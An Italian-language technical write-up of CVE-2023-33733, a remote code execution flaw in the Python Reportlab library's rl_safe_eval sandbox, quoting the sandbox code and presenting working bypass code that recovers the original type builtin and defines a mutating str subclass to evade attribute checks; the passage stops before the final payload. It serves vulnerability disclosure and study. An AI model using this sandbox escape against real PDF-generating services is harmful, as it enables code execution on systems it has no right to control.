
Analisi tecnica dettagliata ed exploit proof-of-concept per CVE-2023-33733, una vulnerabilità di esecuzione remota di codice nella libreria Python Reportlab tramite bypass della sandbox nell'elaborazione HTML-to-PDF.
In breve Questo write-up descrive come una RCE in Reportlab - è stata trovata e sfruttata. A causa della diffusione di Reportlab nell'elaborazione da HTML a PDF, questa vulnerabilità può essere raggiungibile in molte applicazioni che processano file PDF, rendendola importante da patchare e da tenere d'occhio.
Qualche giorno fa, durante un audit di un'applicazione web, abbiamo notato che l'applicazione utilizzava la libreria Python Reportlab per generare dinamicamente file PDF a partire da input HTML. Reportlab è risultata avere una vulnerabilità già patchata in precedenza che portava all'esecuzione di codice. Questo significa che trovare un bypass della patch era piuttosto interessante dal punto di vista di un attaccante, poiché avrebbe portato alla riscoperta dell'esecuzione di codice, soprattutto perché la libreria Reportlab è utilizzata anche in altre applicazioni e strumenti.
Prima di tutto, un rapido riepilogo: Reportlab è un progetto Open Source che permette la creazione di documenti nel Portable Document Format (PDF) di Adobe utilizzando il linguaggio di programmazione Python. Crea anche diagrammi e grafici di dati in vari formati bitmap e vettoriali, oltre ai PDF.
La libreria ha conosciuto nel 2019 un exploit simile che portava all'esecuzione remota di codice tramite l'attributo Color dei tag HTML: il contenuto dell'attributo veniva direttamente valutato come espressione Python usando la funzione eval, portando quindi all'esecuzione di codice. Per mitigare il problema, Reportlab ha implementato una sandbox chiamata rl_safe_eval, spogliata di tutte le funzioni builtin di Python e con molte funzioni builtin sovrascritte per consentire l'esecuzione del codice sicuro della libreria, bloccando al contempo qualsiasi accesso a funzioni e librerie pericolose che possano successivamente portare alla costruzione di codice Python pericoloso:
Un esempio di queste misure preventive è che la funzione builtin getattr viene sovrascritta con una funzione ristretta __rl_getitem__ che proibisce l'accesso a qualsiasi attributo pericoloso degli oggetti, come quelli che iniziano con __:
class __RL_SAFE_ENV__(object):
__time_time__ = time.time
__weakref_ref__ = weakref.ref
__slicetype__ = type(slice(0))
def __init__(self, timeout=None, allowed_magic_methods=None):
self.timeout = timeout if timeout is not None else self.__rl_tmax__
self.allowed_magic_methods = (__allowed_magic_methods__ if allowed_magic_methods==True
else allowed_magic_methods) if allowed_magic_methods else []
#[...]
# IN THIS LINE IT CAN BE OBSERVED THAT THE BUILTIN GETATR IS REPLACED WITH A CUSTOM FUNCTION
# THAT CHECKS THE SAFETY OF THE PASSED ATTRIBUTE NAME BEFORE GETTING IT
__rl_builtins__['getattr'] = self.__rl_getattr__
__rl_builtins__['dict'] = __rl_dict__
#[...]
def __rl_getattr__(self, obj, a, *args):
if isinstance(obj, strTypes) and a=='format':
raise BadCode('%s.format is not implemented' % type(obj))
# MULTIPLE CHECKS ARE DONE BEFORE FETCHING THE ATTRIBUTE AND RETURNING IT
# TO THE CALLER IN THE SANDBOXED EVAL ENVIRONMENT
self.__rl_is_allowed_name__(a)
return getattr(obj,a,*args)
def __rl_is_allowed_name__(self, name):
"""Check names if they are allowed.
If ``allow_magic_methods is True`` names in `__allowed_magic_methods__`
are additionally allowed although their names start with `_`.
"""
if isinstance(name,strTypes):
# NO ACCESS TO ATTRIBUTES STARTING WITH __ OR MATCH A PREDEFINED UNSAFE ATTRIBUTES NAMES
if name in __rl_unsafe__ or (name.startswith('__')
and name!='__'
and name not in self.allowed_magic_methods):
raise BadCode('unsafe access of %s' % name)
La safe eval, come descritto in precedenza, ripulisce l'ambiente da tutte le funzioni pericolose, così che il codice in esecuzione non abbia accesso a strumenti pericolosi utilizzabili per eseguire azioni malevole. Tuttavia, se si trova un bypass a queste restrizioni e si riesce a ottenere l'accesso a una delle funzioni builtin originali, lo sfruttamento dell'ambiente sandbox sarebbe notevolmente facilitato.
Una delle molte classi builtin sovrascritte si chiama type; se questa classe viene chiamata con un argomento, restituisce il tipo di un oggetto. Tuttavia, se viene chiamata con tre argomenti, restituisce un nuovo oggetto tipo. Questo è essenzialmente una forma dinamica della dichiarazione di classe. In altre parole, può consentire la creazione di una nuova classe che eredita da un'altra classe.
Quindi l'idea qui è creare una nuova classe chiamata Word che eredita da str; quando viene passata alla getattr personalizzata, aggirerebbe i controlli e permetterebbe l'accesso ad attributi sensibili come __code__.
Prima che la getattr personalizzata nell'eval in sandbox restituisca l'attributo, esegue alcuni controlli chiamando __rl_is_allowed_name__ per verificare la sicurezza dell'attributo richiesto, prima di chiamare la builtin Python getattr e restituire il risultato.
def __rl_is_allowed_name__(self, name):
"""Check names if they are allowed.
If ``allow_magic_methods is True`` names in `__allowed_magic_methods__`
are additionally allowed although their names start with `_`.
"""
if isinstance(name,strTypes):
if name in __rl_unsafe__ or (name.startswith('__')
and name!='__'
and name not in self.allowed_magic_methods):
raise BadCode('unsafe access of %s' % name)
Per bypassare la funzione __rl_is_allowed_name__, la classe Word dovrebbe:
False per le chiamate alla funzione startswith per aggirare (name.startswith('__')False alla sua prima chiamata a __eq__ per aggirare name in __rl_unsafe__; dopo la prima chiamata dovrebbe restituire la risposta corretta, perché quando __eq__ viene chiamata dalla builtin Python getattr deve restituire il risultato corretto.La seguente classe soddisfa questi criteri:
Word = type('Word', (str,), {
'mutated' : 1,
'startswith': lambda self, x: False,
'__eq__' : lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x,
'mutate' : lambda self: {setattr(self, 'mutated', self.mutated - 1)},
'__hash__' : lambda self: hash(str(self))
})
code = Word('__code__')
print(code == '__code__') ## prints False
print(code == '__code__') ## prints True
print(code == '__code__') ## prints True
print(code == '__code__') ## prints True
print(code.startswith('__')) ## prints False
La funzione type personalizzata nella safe eval non permette di ricevere tre argomenti:
def __rl_type__(self,*args):
if len(args)==1: return type(*args)
raise BadCode('type call error')
Un bypass è stato trovato chiamando type su se stessa, consentendo di recuperare la funzione builtin originale type:
orgTypeFun = type(type(1))
Combinando queste due righe di codice si ottiene qualcosa del genere:
orgTypeFun = type(type(1))
Word = orgTypeFun('Word', (str,), {
'mutated' : 1,
'startswith': lambda self, x: False,
'__eq__' : lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x,
'mutate' : lambda self: {setattr(self, 'mutated', self.mutated - 1)},
'__hash__' : lambda self: hash(str(self))
})
L'exploit originale soffriva di diverse limitazioni che lo rendevano sfruttabile solo su Python 3.10; per risolvere questi problemi è stato adottato un nuovo approccio per accedere al modulo Python os.
La libreria Reportlab sovrascrive l'implementazione di diverse funzioni builtin e le inietta come globali nel contesto di eval.